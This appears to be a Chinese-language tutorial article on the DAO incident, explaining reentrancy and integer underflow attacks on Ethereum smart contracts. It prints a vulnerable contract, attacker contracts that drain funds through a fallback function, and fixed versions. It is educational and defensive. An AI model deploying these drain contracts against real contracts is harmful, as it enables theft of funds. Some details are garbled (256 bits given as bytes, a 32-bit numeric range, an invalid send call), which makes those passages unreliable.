动不动就出事，智能合约攻击该怎么办
如果你在数字货币世界待过足够时间，也许你听说过1或2个智能合约攻击时间，这些攻击导致了几千万美元的盗窃损失。最著名的攻击是DAO事件，这是数字货币世界最受期待的项目之一，同时也是智能合约的改革。虽然很多人听说过这些攻击，但是很少人知道到底发生了什么，是怎么发生的，以及如何避免这些错误。
智能合约是动态的，复杂的以及难以置信地强大。虽然他们的潜力是很难想象，但是也不可能一夜之间就成为了攻击的对象。也就是说，对于往后的数字货币，我们可以从之前的错误中学到经验，然后一起成长。虽然DAO是已经发生的事情，但是这对于开发者，投资者，以及社区成员对于智能合约攻击来说，都是一个很好的例子。
今天，我想和大家聊聊从DAO事件中，我们学到的3件事。
攻击＃1：重入攻击
当攻击者通过对目标调用提款操作的时候，重入攻击就会发生，就好像DAO事件一样。当合约不能在发出资金之前更新状态（用户余额），攻击者就可以连续进行提取函数调用，来获得合约中的资金。任何时候攻击者获得以太币，他的合约都会自动地调用反馈函数，function （），这就再次调用了提现合约。这时候，攻击就会进入递归回路，这时候这个合约中的资金就会转入攻击者。因为目标合约都在不停地调用攻击者的函数，这个合约也不会更新攻击者的余额。当前的合约不会发现有任何问题，更清楚地说，合约函数中包含反馈函数，当合约收到以太币和零数据的时候，合约函数就会自动执行。
攻击流程
1．攻击者将以太币存入目标函数
2．目标函数就会根据存入的以太币而更新攻击者的约
3．攻击者请求拿回资金
4．资金就会退回
5．攻击者的反馈函数生效，然后调用提现功能
6．智能合约的逻辑就会更新攻击者的余额，因为提现又被成功调用
7．资金发送到攻击者
8．第5－7步重复使用
9．一旦攻击结束，攻击者就会把资金从他们自己的合约发送到个人地址
1＊UeDgMZo2n0skHzgkl352zQ
重入攻击的递归回路
很不幸地是，一旦这个攻击开始，无法停下。攻击者的提现功能会被一次次地调用，直到合约中的燃料跑完，或者被害者的以太币余额被消耗光。
代码
下面就是DAO合约的简单版本，其中会包括一些介绍来为这些不熟悉代码／ solidity语言更好地理解合约。
contract babyDAO ｛
／＊ assign key／value pair so we can look up
credit integers with an ETH address ＊／
mapping （address ＝＞ uint256） public credit；
／＊ a function for funds to be added to the contract，
sender will be credited amount sent ＊／
function donate（address to） payable ｛
credit［msg．sender］ ＋＝ msg．value；
｝
／＊show ether credited to address＊／
function assignedCredit（address） returns （uint） ｛
return credit［msg．sender］；
｝
／＊withdrawal ether from contract＊／
function withdraw（uint amount） ｛
if （credit［msg．sender］ ＞＝ amount） ｛
msg．sender．call．value（amount）（）；
credit［msg．sender］ －＝ amount；
｝
｝
｝
如果我们看下函数withdraw（），我们可以看到DAO合约使用address．call．value（）来发送资金到msg．sender。不仅如此，在资金发出后，合约会更新credit［msg．sender］的状态。攻击者在发现了合约代码中的问题，就能够使用类似下面的ThisIsAHodlUp ｛｝来将资金转入contract babyDAO｛｝合约。
import ‘browser／babyDAO．sol’；
contract ThisIsAHodlUp ｛
／＊ assign babyDAO contract as ＂dao＂ ＊／
babyDAO public dao ＝ babyDAO（0x2ae．．．）；
address owner；
／＊assign contract creator as owner＊／
constructor（ThisIsAHodlUp） public ｛
owner ＝ msg．sender；
｝
／＊fallback function， withdraws funds from babyDAO＊／
function（） public ｛
dao．withdraw（dao．assignedCredit（this））；
｝
／＊send drained funds to attacker’s address＊／
function drainFunds（） payable public｛
owner．transfer（address（this）．balance）；
｝
｝
需要注意地是，这个后退函数，function（），会调用DAO或者babyDAO｛｝的提现函数，来从合约中盗取资金。从另个方面来说，当攻击者想要把所有偷窃来的资金赚到他们的地址，drainFunds（）功能会被调用。
解决方案
现在，我们应该清楚重放攻击会利用两个特别的智能合约漏洞。第一个是当合约的状态在资金发出之后，而不是之前进行更新。由于在发出资金前无法更新合约状态，函数就会在中间计算的时候被打断，合约也认为资金其实还没有发出。第二个漏洞就当合约错误地使用address．call．value（）来发出资金，而不是address．transfer（） 或者 address．send（）。这两个都受限于2300gas，只记录一个事件而不是多个外部调用。
contract babyDAO｛
．．．．
function withdraw（uint amount） ｛
if （credit［msg．sender］ ＞＝ amount） ｛
credit［msg．sender］ －＝ amount； ／＊ updates balance first ＊／
msg．sender．send（amount）（）； ／＊ send funds properly ＊／
｝
｝
攻击2：下溢攻击
虽然DAO合约不会让受害者掉入下溢攻击，我们能够通过现有的babyDAO contract｛｝来更好地理解这些攻击为什么会发生。
首先，我们需要理解什么是256单位制。一个256单位制是由256个字节组成。以太坊的虚拟机是使用256字节来完成的。因为以太坊虚拟机受限于256字节的大小，所以数字的范围是0到4，294，967，295 （22？？）。如果我们超过这个范围，那么数字就会重置到范围的最底部（22？？ ＋ 1 ＝ 0）。如果我们低于这个范围，这个数字就会重置到这个范围的顶端（0–1＝ 22？？）。
当我们从零中减去大于零的数，就会发生下溢攻击，导致一个新的22？？数集。现在，如果攻击者的余额发生了下溢，那么这部分余额就会更新，从而导致整个资金被盗。
攻击流程
攻击者通过发出1Wei到目标合约，来启动攻击。
合约认证发出资金的人
随后调用1Wei的提现函数
合约会从发送者的账户扣除的1Wei，现在账户余额又是零
因为目标合约将以太币发给攻击者，攻击者的退回函数被处罚，所以提现函数又被调用。
提现1Wei的事件被记录
攻击者合约的余额就会更新两次，第一次是到零，第二次是到－1。
攻击者的余额回置到22？？
攻击者通过提现目标合约的所有资金，从而完成整个攻击
代码
／＊donate 1 wei， withdraw 1 wei＊／
function attack（） ｛
dao．donate．value（1）（this）；
dao．withdraw（1）；
｝
／＊fallback function， results in 0–1 ＝ 2＊＊256 ＊／
function（） ｛
if （performAttack） ｛
performAttack ＝ false；
dao．withdraw（1）；
｝
｝
／＊extract balance from smart contract＊／
function getJackpot（） ｛
dao．withdraw（dao．balance）；
owner．send（this．balance）；
｝
｝
解决方案
为了防止受害人陷入下溢攻击，最好的方法是看更新的状态是否在字节范围内。我们可以添加参数来检查我们的代码，作为最后一层保护。函数withdraw（）的首行代码是为了检查是否有足够的资金，第二行是为了检查超溢，第三个是检查下溢。
contract babysDAO｛
．．．．
／＊withdrawal ether from contract＊／
function withdraw（uint amount） ｛
if （credit［msg．sender］ ＞＝ amount
＆＆ credit［msg．sender］ ＋ amount ＞＝ credit［msg．sender］
＆＆ credit［msg．sender］ － amount ＜＝ credit［msg．sender］） ｛
credit［msg．sender］ －＝ amount；
msg．sender．send（amount）（）；
｝
｝
需要注意，就像我们之前讨论，我们上面的代码是在发出资金之前更新用户的余额。
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